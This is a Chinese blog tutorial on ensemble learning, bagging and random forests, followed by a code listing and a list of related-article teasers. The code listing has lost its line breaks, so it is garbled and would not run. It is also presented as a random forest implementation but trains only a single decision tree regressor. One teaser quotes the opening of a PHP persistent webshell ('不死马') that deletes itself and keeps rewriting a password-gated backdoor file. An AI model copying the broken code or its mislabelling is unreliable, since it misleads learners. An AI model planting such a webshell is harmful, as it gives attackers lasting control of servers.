机器学习:随机森林

集成学习

集成学习(Ensemble Learning)是一种机器学习方法,通过将多个基本学习算法的预测结果进行组合,以获得更好的预测性能。集成学习的基本思想是通过结合多个弱分类器或回归器的预测结果,来构建一个更强大的集成模型。集成学习可以用于分类问题和回归问题。在分类问题中,集成学习将多个分类器的预测结果进行投票或加权组合,最终输出集成模型的预测结果。在回归问题中,集成学习将多个回归器的预测结果进行平均或加权平均,得到最终的回归结果。

在这里插入图片描述

集成学习的优势在于能够减少单个模型的过拟合风险,提高模型的泛化能力。通过结合多个模型的预测结果,集成模型可以在不同数据分布、噪声和样本偏差等情况下表现更好。然而,集成学习也需要考虑模型之间的差异性,过度集成可能导致过拟合,因此在实践中需要进行适当的调参和模型选择。

Bagging

Bagging(Bootstrap Aggregating)是一种基于自助采样(bootstrap sampling)和集成学习的方法。它通过对原始训练集进行有放回采样,生成多个采样集,然后使用每个采样集来训练一个基本分类器或回归器。最后,通过对这些基本模型的预测结果进行投票或平均,得到最终的集成模型的预测结果。

Bagging的步骤如下:

1.自助采样(Bootstrap Sampling):

从原始训练集中有放回地随机采样,生成多个采样集,每个采样集的样本数量与原始训练集相同,但可能包含重复样本和缺失样本。

2.基本模型训练:

使用每个采样集来训练一个基本分类器或回归器。这些基本模型可以是相同的学习算法,也可以是不同的学习算法。

3.预测结果集成:

对于分类问题,采用多数投票的方式,将基本模型的预测结果进行投票,选择得票最多的类别作为集成模型的最终预测结果。对于回归问题,采用平均或加权平均的方式,将基本模型的预测结果进行平均,得到集成模型的最终预测结果。

在这里插入图片描述

Bagging的优势在于能够减少模型的方差,提高模型的稳定性和泛化能力。由于每个基本模型都是在不同的训练集上独立训练的,它们可以捕捉到数据集中的不同特征和噪声,从而减少了单个模型的过拟合风险。此外,Bagging还可以并行化处理,加速模型训练的过程。

随机森林

随机森林(Random Forest)是一种基于决策树的集成学习方法,通过构建多个决策树,并对它们的预测结果进行集成,来实现分类和回归任务。随机森林结合了Bagging和随机特征选择的技术,具有较好的泛化能力和抗过拟合能力。随机森林的优点如下:

  • 随机森林对于高维数据和大规模数据集的处理能力较强。
  • 随机森林能够提供特征的重要性评估,帮助我们理解数据中各个特征的相对重要性。
  • 随机森林能够有效地处理缺失值和异常值,不需要数据预处理的步骤。
  • 随机森林在训练过程中可以并行化处理,加速模型的训练过程。

在这里插入图片描述

算法步骤

1.决策树的构建:

决策树是一种基本的分类与回归方法,它通过对特征空间进行划分来建立决策规则。在随机森林中,每个决策树都是独立构建的,使用训练集的一个采样集来训练。决策树的构建过程中,通过对特征的随机选择,限制了每个节点可用的特征子集,从而增加了模型的多样性。一般情况下,对于分类问题,随机选择的特征子集大小一般为总特征数的平方根;对于回归问题,一般选择总特征数的三分之一。

2.自助采样(Bootstrap Sampling):

随机森林通过自助采样生成多个采样集。自助采样是一种有放回地随机采样方法,从原始训练集中随机选择与原始训练集相同数量的样本,形成一个采样集。自助采样过程中,每次采样都是独立的,因此某些样本可能在同一个采样集中出现多次,而另一些样本可能被忽略。

3.特征选择:

在每个决策树的节点中,随机森林通过随机选择一部分特征来进行划分。这种特征选择的方式增加了决策树之间的差异性,避免了过度拟合。特征选择的过程可以采用随机选择一定数量的特征子集,也可以采用随机选择一个特定的特征子集。

4.决策树集成:

随机森林通过对多个决策树的预测结果进行集成来得出最终的预测结果。对于分类问题,采用多数投票的方式,选择得票最多的类别作为随机森林的最终预测结果。对于回归问题,采用平均或加权平均的方式,将多个决策树的预测结果进行平均,得到最终的回归结果。

随机森林实现

from sklearn import treeimport os
import pandas as pd
import numpy as np
import sklearn
import xgboost as xgbfrom utils.features import *import warningswarnings.filterwarnings("ignore")def load_datasets():pd.set_option('display.max_columns', 1000)pd.set_option('display.width', 1000)pd.set_option('display.max_colwidth', 1000)df = pd.read_pickle('****.pickle')features = darshan_featuresprint(df.head(10))df_train, df_test = sklearn.model_selection.train_test_split(df, test_size=0.2)X_train, X_test = df_train[features], df_test[features]print(X_test)y_train, y_test = df_train["value"], df_test["value"]print(y_test)return X_train, X_test, y_train, y_testdef model_train(X_train, X_test, y_train, y_test):# 决策树回归clf = tree.DecisionTreeRegressor()# 拟合数据clf = clf.fit(X_train, y_train)y_pred_test = clf.predict(X_test)print(y_test)print(y_pred_test)error = np.median(10 ** np.abs(y_test - y_pred_test))print(error)def main():X_train, X_test, y_train, y_test = load_datasets()model_train(X_train, X_test, y_train, y_test)if __name__ == "__main__":main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/149842.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【redis学习笔记】缓存

redis主要的三个应用场景 存储数据缓存消息队列(redis本来是设计用来作为消息队列的) redis常用作mysql的缓存 因为MySQL等数据库,效率比较低,所以承担的并发量就有限。一旦请求数量多了,数据库的压力就会很大&#…

字符串和内存函数

目录 strlen 模拟实现 长度不受限字符串函数 strcpy 模拟实现 ​编辑 strcat 模拟实现 strcmp 模拟实现 长度受限字符串函数 strncpy 模拟实现 strncat strncmp strstr 模拟实现 strtok strerror perror 字符分类函数 字符转换 示例: ​编辑内…

Android SurfaceFlinger导读(04)理解BufferQueue

该系列文章总纲链接:Android GUI系统之SurfaceFlinger 系列文章目录 说明: 关于导读:导读部分主要是方便初学者理解SurfaceFlinger代码中的机制,为后面分析代码打下一个更好的基础,这样就可以把更多的精力放在surfac…

不死马的利用与克制(基于条件竞争)及变种不死马

不死马即内存马&#xff0c;它会写进进程里&#xff0c;并且无限地在指定目录中生成木马文件 这里以PHP不死马为例 测试代码&#xff1a; <?phpignore_user_abort(true);set_time_limit(0);unlink(__FILE__);$file .test.php;$code <?php if(md5($_GET["pass…

项目规划得心应手:Plane 助你打造高效能团队 | 开源日报 No.48

streamlit/streamlit Stars: 27.5k License: Apache-2.0 Streamlit 是一个快速构建和共享数据应用程序的方法。它可以将数据脚本转换为可分享的 Web 应用&#xff0c;只需几分钟即可完成。该项目完全由 Python 编写&#xff0c;开源且免费&#xff01;一旦创建了一个应用程序&…

竞赛 深度学习 opencv python 公式识别(图像识别 机器视觉)

文章目录 0 前言1 课题说明2 效果展示3 具体实现4 关键代码实现5 算法综合效果6 最后 0 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 &#x1f6a9; 基于深度学习的数学公式识别算法实现 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学…

notion + nextjs搭建博客

SaaS可以通过博客来获得SEO流量&#xff0c;之前我自己在nextjs上&#xff0c;基于MarkDown Cloudfare来构建博客&#xff0c;很快我就了解到更优雅的方案&#xff1a;notion nextjs搭建博客&#xff0c;之前搭建了过&#xff0c;没有记录&#xff0c;这次刚好又要弄&#xf…

算法题:分发饼干

这个题目是贪心算法的基础练习题&#xff0c;解决思路是排序双指针谈心法&#xff0c;先将两个数组分别排序&#xff0c;优先满足最小胃口的孩子。&#xff08;本题完整题目附在了最后面&#xff09; 代码如下&#xff1a; class Solution(object):def findContentChildren(se…

[笔记] Windows内核课程:保护模式《二》段寄存器介绍

文章目录 前言1、什么是段寄存器? 有哪些 ?2. 段寄存器的结构 前言 段寄存器&#xff0c;页寄存器 1、什么是段寄存器? 有哪些 ? 当我们用汇编读写某一个地址时: mov dword ptr ds:[0x123456],eax我们真正读写的地址是: ds.base 0x123456ES、CS、SS、DS、FS、GS、LDTR…

云原生边缘计算KubeEdge安装配置

1. K8S集群部署&#xff0c;可以参考如下博客 请安装k8s集群&#xff0c;centos安装k8s集群 请安装k8s集群&#xff0c;ubuntu安装k8s集群 2.安装kubEedge 2.1 编辑kube-proxy使用ipvs代理 kubectl edit configmaps kube-proxy -n kube-system #修改kube-proxy#大约在40多行…

华为云云耀云服务器L实例评测|SpringCloud相关组件——nacos和sentinel的安装和配置 运行内存情况 服务器被非法登陆尝试的解决

前言 最近华为云云耀云服务器L实例上新&#xff0c;也搞了一台来玩&#xff0c;期间遇到各种问题&#xff0c;在解决问题的过程中学到不少和运维相关的知识。 本篇博客介绍SpringCloud相关组件——nacos和sentinel的安装和配置&#xff0c;并分析了运行内存情况&#xff0c;此…

RHCE---作业2

文章目录 目录 文章目录 一.远程连接服务器 二.基于域名和虚目录建立网站 一.远程连接服务器 配置 ssh 免密登陆&#xff1a;客户端主机通过 redhat 用户基于秘钥验证方式进行远程连接服务器的 root 用户 #服务端关闭防火墙 [roottimeserver ~]# systemctl disable --now fir…

Spring的事务控制

基于AOP的声明事务控制 Spring事务编程概述 事务是开发过程中必不可少的东西&#xff0c;使用JDBC开发时&#xff0c;我们使用connection对事务进行控制&#xff0c;使用MyBatis时&#xff0c;我们使用SqlSession对事物进行控制&#xff0c;缺点显而易见&#xff0c;当我们切…

C++设计模式-桥接(Bridge)

目录 C设计模式-桥接&#xff08;Bridge&#xff09; 一、意图 二、适用性 三、结构 四、参与者 五、代码 C设计模式-桥接&#xff08;Bridge&#xff09; 一、意图 将抽象部分与它的实现部分分离&#xff0c;使它们都可以独立地变化。 二、适用性 你不希望在抽象和它…

桌面应用开发:Go 语言和 Web 技术的融合创新 | 开源日报 No.46

TheAlgorithms/Python Stars: 161.5k License: MIT 这个开源项目是一个用 Python 实现的算法库&#xff0c;旨在提供教育目的下使用的各种算法。 提供了大量常见算法的 Python 实现。适合学习和教育目的&#xff0c;可以帮助读者更好地理解不同类型的算法。 airbnb/javascri…

CSS3实现动画加载效果

<!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><title>加载效果</title><link rel"style…

数据结构与算法-(7)---栈的应用-(4)后缀表达式求值

&#x1f308;write in front&#x1f308; &#x1f9f8;大家好&#xff0c;我是Aileen&#x1f9f8;.希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流. &#x1f194;本文由Aileen_0v0&#x1f9f8; 原创 CSDN首发&#x1f412; 如…

1.7.C++项目:仿muduo库实现并发服务器之Poller模块的设计

项目完整在&#xff1a; 文章目录 一、Poller模块&#xff1a;描述符IO事件监控模块二、提供的功能三、实现思想&#xff08;一&#xff09;功能&#xff08;二&#xff09;意义&#xff08;三&#xff09;功能设计 四、封装思想五、代码&#xff08;一&#xff09;框架&#…

CLIP与DINOv2的图像相似度对比

在计算机视觉领域有两个主要的自监督模型:CLIP和DINOv2。CLIP彻底改变了图像理解并且成为图片和文字之间的桥梁&#xff0c;而DINOv2带来了一种新的自监督学习方法。 在本文中&#xff0c;我们将探讨CLIP和DINOv2的优势和它们直接微妙的差别。我们的目标是发现哪些模型在图像相…

WEB各类常用测试工具

一、单元测试/测试运行器 1、Jest 知名的 Java 单元测试工具&#xff0c;由 Facebook 开源&#xff0c;开箱即用。它在最基础层面被设计用于快速、简单地编写地道的 Java 测试&#xff0c;能自动模拟 require() 返回的 CommonJS 模块&#xff0c;并提供了包括内置的测试环境 …